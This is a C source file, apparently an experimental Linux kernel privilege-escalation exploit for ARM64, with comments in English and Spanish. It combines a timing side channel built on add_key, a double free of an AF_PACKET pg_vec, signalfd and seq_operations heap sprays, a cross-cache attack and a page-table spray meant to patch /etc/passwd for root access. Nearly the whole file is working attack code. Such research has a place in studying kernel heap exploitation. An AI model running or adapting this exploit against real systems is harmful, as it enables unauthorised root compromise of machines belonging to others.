/** * This is an attempt at a side channel (inspired by SLUBStick but much, much simpler) * and the Black Hat paper: https://i.blackhat.com/Asia-24/Presentations/Asia-24-Wu-Game-of-Cross-Cache.pdf * (the file exploit_cc_sin_side_channel.c is based on this). * * (5.d attempt in the paper) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../include/exploit.h" #include "../include/util.h" #include "../include/signalfd_spray.h" #include "../include/pte_spray.h" #define ALLOCS 32 static int cpu_partial_slabs = 8; static int objs_per_slab = 32; static int min_partial = 5; static int objects_fd[ALLOCS]; const char *keyring = "keyring"; void alloc_obj(int i, sigset_t mask) { objects_fd[i] = signalfd(-1, &mask, 0); } void free_object(int i, int victim_fd) { int fd = objects_fd[i]; if (fd != victim_fd && fd != -1) close(fd); } static inline uint64_t read_cntvct(void) { uint64_t val; asm volatile("mrs %0, cntvct_el0" : "=r"(val)); return val; } static inline uint64_t read_cntfrq(void) { uint64_t val; asm volatile("mrs %0, cntfrq_el0" : "=r"(val)); return val; } int run_exploit() { int num_spray = objs_per_slab * (cpu_partial_slabs + 1); int fd_s, ret, victim_fd, count = -1; uint32_t block_s = PAGE, frame_s = PAGE / 2; int *fds0, *fds_pre_alloc, *fds_post_alloc, *fds_post_alloc_seq; uint64_t t0, t1, delta, prev_time, time; *(volatile char *)keyring; /* create key value which causes the kernel to return with an error (fast) */ char *value; value = malloc(128); memset(value, 0x41, 128); value[0] = '.'; value[128 - 1] = 0; uint64_t freq = read_cntfrq(); // ticks por segundos sigset_t mask; sigemptyset(&mask); sigaddset(&mask, SIGUSR1); printf("\n\n[+] Starting explotation\n"); pin_cpu(0); // Allocating large memory region for future PTE spray void *base = mmap_align(PGT_SRAY_SIZE); if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0) fprintf(stderr, "Error while creating socket: %d\n", fd_s); // PACKET_V3 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0) fprintf(stderr, "Error while setsockopt (V3): %d\n", ret); /* Allocate pg_vec - kmalloc-128 */ union tpacket_req_u treq = {}; treq.req3.tp_block_size = block_s; // 4096 treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar treq.req3.tp_frame_size = block_s; // 2048 treq.req3.tp_frame_nr = TARGET_SIZE / 8; treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit for (int i = 0; i < ALLOCS; i++) { sigset_t mask; sigemptyset(&mask); sigaddset(&mask, SIGUSR1); alloc_obj(i, mask); /* Measurement primitive */ t0 = read_cntvct(); ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING); t1 = read_cntvct(); if (ret >= 0) perror("add_key should be an error"); prev_time = time; delta = t1 - t0; time = (delta * 1000000000ULL) / freq; if ((time - prev_time) > 8000) { count = i; break; } } if (count == -1) { for (int i = 0; i < ALLOCS; i++) free_object(i, -1); exit(1); } // pre allocations (to get a free empty slab) // This will drain cpu partial slab (todos estan a full) fds0 = alloc_signalfd_serial(0, num_spray - 1); // objPerSlab(16 en kmalloc-256) * X active slab (exactly one page) // check_slabinfo_all(); // free_signalfd(fds0, initial_spray_size); fds_pre_alloc = alloc_signalfd_serial(0, objs_per_slab - 1); if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution fprintf(stderr, "Error while setsockopt RX RING (V3): %d\n", ret); // 1st free: tp_block_nr to 0 memset(&treq, 0, sizeof(union tpacket_req_u)); if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() fprintf(stderr, "Error while putting rx_owner_map to 0. Error: %d\n", ret); // Ocupamos el pg_vec liberado con signal_ctx fds_post_alloc = alloc_signalfd_serial(0, objs_per_slab + 1); // Switch to TPACKET_V2 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0) fprintf(stderr, "Error while setsockopt (V2): %d\n", ret); /* 2nd free: kmalloc-128 */ // memset(&treq, 0, sizeof(treq)); treq.req3.tp_block_size = block_s; treq.req3.tp_block_nr = 1; treq.req3.tp_frame_size = block_s; treq.req3.tp_frame_nr = 1; if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() { perror("setsockopt rx ring v2"); fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret); } printf("\nSpraying seq_operations objects...\n"); // trying to catch the freed signal_ctx (overlap with seq_operations) fds_post_alloc_seq = spray_seq_operations(objs_per_slab + 1); // encontrar fd de signal_ctx liberado victim_fd = leak_signal_fd_not_equal_sigmask(fds_post_alloc, objs_per_slab + 1, SIGMASK_1st_SPRAY); if (victim_fd >= 0) { printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd); read_fdinfo(victim_fd); } else { printf("No se encontró ningún sigmask!=0000000000002000\n"); } fcntl(victim_fd, F_SETFD, FD_CLOEXEC); printf("\n\nCLosin signal\n"); // CROSS CACHE ATTACK // Free pre alloc and post alloc objects free_signalfd(fds_pre_alloc, objs_per_slab - 1); // todos los seq_operations free_signalfd(fds_post_alloc_seq, objs_per_slab + 1); // todos los seq_operations free_signalfd_except_victim(fds_post_alloc, objs_per_slab + 1, victim_fd); // todos los del primer spray (excepto victima) // Free 1 object per slab from step 3 for (int i = 0; i < num_spray; i += objs_per_slab) { if (i == 0) free_object(count, -1); else { close(fds0[i]); } } // for (int i = 0; i < count; i++) // free_object(i, -1); // pte spray and passwd root patch ¿? pte_spray_passwd(victim_fd); sleep(2); // deberia de pasar el thread a background y dormirlo para siempre printf("fiiiin"); free_user_ptes2(); // Spray PTE (version 1 - sin sobreescritura de passwd) /* touch_user_ptes(base, PGT_SRAY_SIZE); read_fdinfo(victim_fd); sleep(2); // deberia de pasar el thread a background y dormirlo para siempre printf("fiiiin"); // Libera la región mapeada de tablas de PTE. free_user_ptes(base, PGT_SRAY_SIZE); */ }